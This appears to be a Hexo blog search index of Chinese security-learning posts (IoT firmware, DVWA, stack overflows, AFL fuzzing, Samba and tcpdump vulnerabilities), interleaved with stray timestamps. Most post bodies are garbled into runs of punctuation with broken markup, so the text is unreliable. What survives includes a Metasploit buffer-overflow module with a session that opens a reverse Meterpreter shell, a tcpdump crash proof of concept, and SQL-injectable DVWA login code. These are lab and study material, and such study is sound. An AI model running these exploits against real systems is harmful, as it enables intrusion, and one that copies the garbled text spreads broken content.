2019-04-15 07:42:42 +00:00
<?xml version="1.0" encoding="utf-8"?>
2019-07-16 09:15:34 +00:00
<search >
2019-07-24 03:51:42 +00:00
<entry >
<title > <![CDATA[获取固件的几种方法]]> </title>
<url > %2F2019%2F07%2F24%2F%E8%8E%B7%E5%8F%96%E5%9B%BA%E4%BB%B6%2F</url>
<content type= "text" > <![CDATA[通过分析物联网设备遭受攻击的链条可以发现， ， ， ， ， ， ， ： ： ： ， ， ， ， ， ， ， ， ， ， ， ： ： ： （ ） ： ， ， ： ： ， ： （ ） ， </content>
<categories >
2019-07-24 06:01:50 +00:00
<category > IOT</category>
2019-07-24 03:51:42 +00:00
</categories>
<tags >
<tag > IoT</tag>
<tag > 硬件层</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[DVWA黑客攻防平台]]> </title>
<url > %2F2019%2F07%2F24%2Fweb-dvwa%2F</url>
2019-07-24 06:01:50 +00:00
<content type= "text" > < ![CDATA[搭建环境最好使用docker来搭建， ， ， （ ） ， （ ， ， ） ， （ ） ， ， ， ， ， ， < ?phpif( isset( $_GET[ 'Login' ] ) ) { // Get username $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '< pre> ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '< /pre> ' ); if( $result & & mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "< p> Welcome to the password protected area { $user} < /p> "; echo "< img src=\"{ $avatar} \" /> "; } else { // Login failed echo "< pre> < br /> Username and/or password incorrect.< /pre> "; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);} ?> PHP $_GET 变量在 PHP 中，预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值。 $_GET 变量预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值。从带有 GET 方法的表单发送的信息，对任何人都是可见的（会显示在浏览器的地址栏），并且对发送信息的量也有限制。 何时使用 method=”get”？ ， ， & password=123& Login=Login HTTP/1.1Host: 192.168.31.84:81Proxy-Connection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Referer: http://192.168.31.84:81/vulnerabilities/brute/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: PHPSESSID=rbb91verhfhas5a6k7tq77bmo4; security=low 我们可以看到username和password是以明文出现， ， ， ， ’ ’ <E59B9E> <E79A84>
2019-07-24 03:51:42 +00:00
<categories >
<category > web</category>
</categories>
<tags >
<tag > web</tag>
<tag > ctf</tag>
</tags>
</entry>
2019-07-16 09:15:34 +00:00
<entry >
<title > <![CDATA[Linux Pwn-缓冲区溢出利用]]> </title>
<url > %2F2019%2F07%2F16%2Flinux-pwn-32%2F</url>
2019-07-24 03:51:42 +00:00
<content type= "text" > < ![CDATA[之前介绍了Windows x86平台下栈溢出漏洞的开放与利用， ， ， ， ， ： ： ， ， （ ） ， ， ， ， （ ） ， ： ， ， ， < stdio.h> #include < string.h> void success() { puts(" You Hava already controlled it." ); } void vulnerable() { char s[12]; gets(s); puts(s); return;} int main(int argc, char **argv) { vulnerable(); return 0;} 当我们看到gets时就应该知道如何入手了， ， ， ， ： ‘ ’ ‘ ’ ‘ ’ ' :stack1.c:(.text+0x45): warning: the `gets' function is dangerous and should not be used. 编译器都会提示你， （ ） ， ： > /proc/sys/kernel/randomize_va_spaceroot@ubuntu:/home/han/ck/pwn/linux/stack_demo# exitexit 计算溢出点的位置什么是溢出点的位置： ， ： ： { char s; // [sp+4h] [bp-14h]@1 gets(& s); return puts(& s);} 在伪代码窗口， ， ， > +-----------------+ | | | | | | | | | | | |s,ebp-0x14--> +-----------------+ 劫持ret的地址这里我们想让程序跳转到success()， " You Hava already controlled it." .text:08048470 push edx ; s.text:08048471 mov ebx, eax.text:08048473 call _puts.text:08048478 add esp, 10h.text:0804847B nop.text:0804847C mov ebx, [ebp+var_4].text:0804847F leave.text:08048480 retn.text:08048480 su
2019-07-16 09:15:34 +00:00
<categories >
<category > Pwn二进制漏洞</category>
</categories>
<tags >
<tag > linux</tag>
<tag > pwn</tag>
<tag > 栈溢出</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[x86-basic 漏洞利用]]> </title>
<url > %2F2019%2F07%2F10%2Fx86basic%2F</url>
<content type= "text" > < ![CDATA[这部分是对Window x86平台下的几个典型漏洞利用方式的介绍， ， ， （ ） – ： （ ） { charbuf[8]; strcpy(buf, name);} 汇编过程 PUSH c, PUSH b, PUSH a CALL address of func【保存返回地址； ， ， " print(' A' * 1024)" telnet 192.168.64.138 4242 关闭防御措施使用PESecurity检查可执行文件本身的防御措施开启情况注意设置： ， （ ） ， < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = { } ) super(update_info(info, 'Name' => 'Stack Based Buffer Overflow Example', 'Description' => %q{ Stack Based Overflow Example Application Exploitation Module } , 'Platform' => 'Windows', 'Author' => 'yanhan', 'Payload' => { 'space' => 400, 'BadChars' => "\x00\xff" } , 'Targets' => [ [ 'Windows XP SP3', { 'Ret' => 0x71a22b53, 'Offset' => 520} ] ], 'DisclosureDate' => '2019-05-25' )) end def exploit connect buf = make_nops(target['Offset']) buf = buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded sock.put(buf) handler disconnect endend 123456789101112131415161718192021222324252627282930313233343536msf5 > use exploit/windows/yanhan/bof_attackmsf5 exploit(windows/yanhan/bof_attack) > set rhosts 192.168.31.114rhosts => 192.168.31.114msf5 exploit(windows/yanhan/bof_attack) > set rport 1000rport => 1000msf5 exploit(windows/yanhan/bof_attack) > exploit[*] Started reverse TCP handler on 192.168.31.84:4444[*] Sending stage (179779 bytes) to 192.168.31.114[*] Meterpreter session 1 opened (192.168.31.84:4444 -> 192.168.31.114:1062) at 2019-07-10 16:38:51 +0800meterpreter > lsListing: C:\Documents and Settings\Administrator================================================Mode Size Type Last modified Name---- ---- ---- ------------- ----40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Application Data40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Cookies40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Favorites40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Local Settings40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 My Documents100666/rw-rw-rw- 1048576 fil 2019-05-14 09:54:43 +0800 NTUSER.DAT40777/rwxrwxrwx 0 dir 2019-05-14 09:54
<categories >
<category > Pwn二进制漏洞</category>
</categories>
<tags >
<tag > 二进制</tag>
<tag > Windows</tag>
<tag > 漏洞</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[AFL-爱之初体验]]> </title>
<url > %2F2019%2F07%2F09%2Fafl-first-try%2F</url>
<content type= "text" > < ![CDATA[这篇文章是对afl的简单使用， ， ， ： > wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz> tar -zxvf afl-latest.tgz> cd afl-2.52b/> make> sudo make install> 部署qemu 12345678> $ CPU_TARGET=x86_64 ./build_qemu_support.sh> [+] Build process successful!> [*] Copying binary...> -rwxr-xr-x 1 han han 10972920 7月 9 10:43 ../afl-qemu-trace> [+] Successfully created ' ../afl-qemu-trace' .> [!] Note: can' t test instrumentation when CPU_TARGET set.> [+] All set, you can now (hopefully) use the -Q mode in afl-fuzz!> 0x01 白盒测试目标程序编译 源代码 1234567891011121314#undef _FORTIFY_SOURCE#include < stdio.h> #include < stdlib.h> #include < unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256);} int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, " Hello, World\n" , 13);} gcc编译（ ） ， < lcamtuf@google.com> afl-as 2.52b by < lcamtuf@google.com> [+] Instrumented 2 locations (64-bit, non-hardened mode, ratio 100%). 测试插桩程序afl-showmap 跟踪单个输入的执行路径， （ ） ， ， < < (echo test)afl-showmap 2.52b by < lcamtuf@google.com> [*] Executing ' ../vuln/v1' ...-- Program output begins --Hello, World-- Program output ends --[-] PROGRAM ABORT : No instrumentation detected Location : main(), afl-showmap.c:773 12345678$ ./afl-showmap -o /dev/null -- ../vuln/v1-afl < < (echo test)afl-showmap 2.52b by < lcamtuf@google.com> [*] Executing ' ../vuln/v1-afl' ...-- Program output begins --Hello, World-- Program output ends --[+] Captured 1 tuples in ' /dev/null' . 可见， ， ， （ ） < lcamtuf@google.com> [+] You have 2 CPU cores and 2 runnable tasks (utilization: 100%).[*] Checking CPU core loadout...[+] Found a free CPU core, binding to #0.[*] Checking core_pattern...[-] Hmm, your system is configured to send core dump notifications to an external utility. This will cause issues: there will be an extended delay between stumbling upon a crash and having this information relayed to the fuzzer via the standard waitpid() API. To avoid having crashes misinterpreted as timeouts, please log in as root and temporarily modify /proc/sys/kernel/core_pattern, like so: echo core > /proc/sys/kernel/core_pattern[-] PROGRAM ABORT : Pipe at the beginning of ' core_pattern' Location : check_crash_handling(), afl-fuzz.c:7275 将导致将崩溃信息发送到Fuzzer之间的延迟增大， ， ， ： > /proc/sys/kernel/core_pattern 通用fuzz语法afl-fuzz对于直接从stdin接受输入的目标二进制文件， ：
<categories >
<category > 二进制</category>
</categories>
<tags >
<tag > AFL</tag>
<tag > 模糊测试</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[模糊测试与AFL]]> </title>
<url > %2F2019%2F07%2F01%2FAFL-first-learn%2F</url>
2019-07-24 03:51:42 +00:00
<content type= "text" > < ![CDATA[接触这个词语已经有一年了， ， ， ， ， ， （ ） ， ， ， ， ， ， （ ） ， ， ， ， ， ， ， ， ， ， ， ， ‐ ） ， ） ， ， ， ， ， ， ， ） ： a f l - u s e r s @ g o o g l e g r o u p s . c o m 。4） （ ， ） ， ， ） ， ， ： ' s cmdline ...] 如果程序从文件中获取输入，则可以在程序的命令行中输入@@; AFL会为您放置一个自动生成的文件名。 一些参考文档 docs/README - AFL的一般介绍， ， ， ， ， ， ， ， ， <E4B99F>
2019-07-16 09:15:34 +00:00
<categories >
<category > 二进制</category>
</categories>
<tags >
<tag > AFL</tag>
<tag > 模糊测试</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[加壳与脱壳]]> </title>
<url > %2F2019%2F05%2F14%2Fpack-and-unpack%2F</url>
<content type= "text" > < ![CDATA[壳是最早出现的一种专用加密软件技术。一些软件会采取加壳保护的方式。壳附加在原始程序上， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ）
</entry>
<entry >
<title > <![CDATA[PE文件格式学习]]> </title>
<url > %2F2019%2F05%2F13%2FPE-file%2F</url>
<content type= "text" > < ![CDATA[PE文件格式PE(Portable Executable)是Win32平台下可执行文件遵守的数据格式。常见的可执行文件（ ） ， ， ， ， （ ） ， ， ： ： ， ， ， ， ， ， （ ） ， ： ， ： ： ， （ ） ， ， ， ， ， ， ， ， ， ，
<categories >
<category > 二进制</category>
</categories>
<tags >
<tag > 文件格式</tag>
<tag > PE</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[小米路由器_MiniUPnP协议]]> </title>
<url > %2F2019%2F04%2F21%2FXIAOMI-UPnP%2F</url>
<content type= "text" > < ![CDATA[概述HomePageOpenWRT与miniUPnP MiniUPnP项目提供了支持UPnP IGD(互联网网关设备)规范的软件。在MiniUPnPd中添加了NAT-PMP和PCP支持。 对于客户端（ ） （ ） ， ， ， （ ） （ ） （ ） ， （ ） （ ） ， ， ， ， ， ， （ ） （ ） ， ： ， ， ， ， ， （ ） ， ， ： ， ， ； ， ， ， ： ， ， （ ） ， ， ， ， ， ， ， <E7A4BA> <E78EB0>
<categories >
<category > IOT</category>
</categories>
<tags >
<tag > 小米</tag>
<tag > 路由器</tag>
<tag > MiniUPnP</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[复原数据库存储以检测和跟踪安全漏洞]]> </title>
<url > %2F2019%2F04%2F15%2FCaving-db-storage%2F</url>
<content type= "text" > < ![CDATA[Carving Database Storage to Detect and Trace Security Breaches 复原数据库存储以检测和跟踪安全漏洞原文下载 MotivationDBMS(数据库管理系统) 通常用于存储和处理敏感数据， ， （ ） ， ， ） ， ） ） ） ， ， ， ， ‘ ’ ， ， ， ， ， ， ， ， ， ， ， （ ， ） ， ， ， ， ， ： ， （ ） ： ， ， （ ， ） ， ， ， ， （ ， ） ， <E694B9>
<categories >
<category > 顶会论文</category>
</categories>
<tags >
<tag > 数据库</tag>
<tag > 复原文件</tag>
<tag > 取证</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[逆向工程与软件破解]]> </title>
<url > %2F2019%2F03%2F28%2F%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B%E5%AE%9E%E9%AA%8C%2F</url>
<content type= "text" > < ![CDATA[软件保护方式 功能限制 时间限制 运行时长限制 使用日期限制 使用次数限制 警告窗口 分析工具 静态分析工具 IDA W32Dasm lordPE Resource Hacker 动态分析工具 OllyDbg WinDbg 对抗分析技术 反静态分析技术 花指令 自修改代码技术 多态技术 变形技术 虚拟机保护技术 反动态分析技术 检测调试状态 检测用户态调试器 检测内核态调试器 其他方法： ； ； ； ， ， ， ， ， ： ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ： ： ， ： ， ， ， ： ： ， ： ， ， ， ， ： ， ， ， <E694AF>
<categories >
<category > 二进制</category>
</categories>
<tags >
<tag > 逆向</tag>
<tag > 破解</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[小米路由器与Samba漏洞CVE-2017-7494]]> </title>
<url > %2F2019%2F03%2F25%2FSamba-CVE%2F</url>
<content type= "text" > < ![CDATA[小米路由器与Samba漏洞CVE-2017-7494漏洞描述Samba服务器软件存在远程执行代码漏洞。攻击者可以利用客户端将指定库文件上传到具有可写权限的共享目录， ： ， ， （ ， ） ， ， ， ， ， ， ， ， ： ， ，
<categories >
<category > IOT</category>
</categories>
<tags >
<tag > Samba</tag>
<tag > 远程执行</tag>
<tag > CVE</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[利用itchat定时转发微信消息]]> </title>
<url > %2F2019%2F03%2F23%2Fauto-send-WX%2F</url>
<content type= "text" > < ![CDATA[我们实验室有个光荣传统， ， （ ） ， ， ， ， ， ！ ， ， ， ， ， ， ， ， ， ， ， ， ， ！ ' Hello, filehelper' , toUserName=' filehelper' ) 实现定时转发这个的实现需要注册msg_register,逻辑很简单， ， ' NickName' ]) if g[' NickName' ] == ' 被转发的群名' : from_group = g[' UserName' ] if ' 每日安全简讯' in msg[' Content' ]: print(" get message from " + msg[' FromUserName' ]) if msg[' FromUserName' ] == from_group: g_msg = msg[' Content' ] print(' 成功获得群消息，等待转发' ) print(int(time.strftime(" %H%M%S" ))) while(1): if int(time.strftime(" %H%M%S" )) > 80000: SendMessage(g_msg,' 发送的对象群名' ) g_msg = ' ' breakdef SendMessage(context,gname): itchat.get_chatrooms(update = True) users = itchat.search_chatrooms(name=gname) userName = users[0][' UserName' ] itchat.send_msg(context,toUserName=userName) print(" \n发送时间: " + datetime.now().strftime(" %Y-%m-%d %H:%M:%S" ) + " \n" " 发送到：" + gname + " \n" + " 发送内容：" + context + " \n" ) print(" *********************************************************************************" )if __name__ == ' __main__' : itchat.auto_login(hotReload=True,enableCmdQR=2) itchat.run(blockThread=False) 添加周期防掉线据说每三十分钟发送一次消息可防止网页端微信掉线~~123456789101112def loop_send(): nowTime = datetime.now().strftime(" %Y-%m-%d %H:%M:%S" ) context = ' 现在是北京时间 :\n' + nowTime +' \n\n我们还活着' itchat.get_chatrooms(update = True) users = itchat.search_friends(name=u' chengkun' ) userName = users[0][' UserName' ] itchat.send_msg(context,toUserName=userName)if __name__ == ' __main__' : sched = BlockingScheduler() sched.add_job(loop_send,' interval' ,minutes=30) sched.start() 把程序放在服务器上我是在腾讯云有个服务器， ， ， ： > > auto_Send.log 2> & 1 & 使
<categories >
<category > 杂七杂八</category>
</categories>
<tags >
<tag > itchat</tag>
<tag > 微信</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[小米固件工具mkxqimage]]> </title>
<url > %2F2019%2F03%2F16%2F%E5%B0%8F%E7%B1%B3%E5%9B%BA%E4%BB%B6%E5%B7%A5%E5%85%B7mkxqimage%2F</url>
<content type= "text" > <![CDATA[小米固件工具mkxqimage小米自己改了个打包解包固件的工具， ， ： ， ， ， ， ， ， ～ ： ， ； ～ ： ， ： ； ： ； ～ ： ， ； ～ ： ， ； ～ ： ， ， ， ； ～ ： ， ， ， ； （ ） ， ， ， ， ， ： ， ， ， ： </content>
<categories >
<category > IOT</category>
</categories>
<tags >
<tag > 小米</tag>
<tag > 文件格式</tag>
<tag > SSH</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[QQ数据库的加密与解密]]> </title>
<url > %2F2019%2F02%2F22%2Fqq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86%2F</url>
<content type= "text" > <![CDATA[qq数据库采用简单加密——异或加密数据获取： ： ： ： </content>
<categories >
<category > 加密解密</category>
</categories>
<tags >
<tag > 密码</tag>
<tag > QQ</tag>
<tag > 数据库</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[wifi半双工侧信道攻击学习笔记]]> </title>
<url > %2F2019%2F01%2F16%2Fwifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2F</url>
<content type= "text" > < ![CDATA[TCP侧信道分析及利用的学习报告论文来源： ： ： ， ， ： ， ， ， ， ， ， ： ： ， ： （ ） ， ， ： ， ， ： ： ， ， ， ， ， ， （ <E599AA>
<categories >
<category > 顶会论文</category>
</categories>
<tags >
<tag > 侧信道攻击</tag>
<tag > wifi</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[TCPDUMP拒绝服务攻击漏洞]]> </title>
<url > %2F2018%2F12%2F25%2FTCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E%2F</url>
<content type= "text" > < ![CDATA[TCPDUMP 4.5.1 拒绝服务攻击漏洞分析Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统： ， ； ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， – （ ） ' tcpdump -r crash' buffer = ' \xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff' buffer += ' \x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00' buffer += ' \x00\x00\x00\x00\x00\x08\x00\x00\x00\x00< \x9c7@\xff\x00' buffer += ' \x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a' buffer += " \x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0& \x80\x18\' " buffer += " xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n' , ' \x00\x00\x00\x00" buffer += ' \x00\x00\x00\x00\x01\x03\x03\x04' with open(' crash' , ' w+b' ) as file: file.write(buffer) try: call(split(command)) print(" Exploit successful! " ) except: print(" Error: Something has gone wrong!" )def main(): print(" Author: David Silveiro " ) print(" tcpdump version 4.5.1 Access Violation Crash " ) sleep(2) crash()if __name__ == " __main__" : main() 崩溃分析pcap包格式首先来分析一下pcap包的格式， ， ， { bpf_u_int32 magic; u_short version_major; u_short version_minor; bpf_int32 thiszone; /* gmt to local correction */ bpf_u_int32 sigfigs; /* accuracy of timestamps */ bpf_u_int32 snaplen; /* max length saved portion of each pkt */ bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */} ; 看一下各
<categories >
<category > 二进制</category>
</categories>
<tags >
<tag > TCPDUMP</tag>
<tag > 拒绝服务攻击</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[基于采集规则引擎的物联网设备发现方法]]> </title>
<url > %2F2018%2F12%2F23%2F%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87%2F</url>
<content type= "text" > < ![CDATA[论文来源： ： ： （ ） ， ， （ ） ， ， ， （ ， ） ， ， ， ， ， ， ， ， ， ， ， ， ， ， （ ） ， ， ， ， ， ： ， ， ： ， ， ； ， ， ， ， ， ， ， ， ，
<categories >
<category > 顶会论文</category>
</categories>
<tags >
<tag > USENIX</tag>
<tag > 数据挖掘</tag>
<tag > 自然语言处理</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[利用miio控制局域网内的小米智能设备]]> </title>
<url > %2F2018%2F12%2F15%2Fmiio-control%2F</url>
<content type= "text" > <![CDATA[控制局域网内的IOT设备中间人攻击—流量分析使用Nmap分析局域网内设备， ： ： （ ） ， ， ， ？ ， ， ， ， ， ， ： ， ， ， ， ： ： ， ， ： ， ， ， ， ： ， ， ， ， ， ； ， ： ， ‘ ’ ‘ ’ ， ‘ ’ ‘ ’ ， ， ， ， ， ， ， ， ， ， ， ， ， </content>
<categories >
<category > IOT</category>
</categories>
<tags >
<tag > 小米</tag>
<tag > miio</tag>
<tag > 中间人</tag>
<tag > 重放攻击</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[利用python实现BIBA模型]]> </title>
<url > %2F2018%2F11%2F16%2FBIBA%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E6%A8%A1%E5%9E%8B%E5%AE%9E%E7%8E%B0(python)%2F</url>
<content type= "text" > < ![CDATA[基于python语言的BIBA模型图形界面实现实验目的： ， ， ， ： ： ， ： & 外部；类型：直接& 间接 外部的直接 外部的间接 内部的直接 内部的间接 外部系统恶意地篡改另一个系统的数据或程序 一个外部系统插入恶意的子程序 修改自己的代码 修改自己的指针 biba模型的完整性定义 完整性级别高的实体对完整性低的实体具有完全的支配性，反之如果一个实体对另一个实体具有完全的控制权，说明前者完整性级别更高，这里的实体既可以是主体也可以是客体。完整性级别和可信度有密切的关系，完整级别越高，意味着可信度越高。 biba模型的规则 对于写和执行操作，有如下规则： 写规则控制当且仅当主体S的完整性级别大于或等于客体O的完整性级别时， ，
<categories >
<category > 理论学习</category>
</categories>
<tags >
<tag > 模型实现</tag>
<tag > python</tag>
<tag > 访问控制</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[Hello World]]> </title>
<url > %2F2000%2F01%2F01%2Fhello-world%2F</url>
<content type= "text" > <![CDATA[你好！我是混元霹雳手]]> </content>
</entry>
2019-04-15 07:42:42 +00:00
</search>
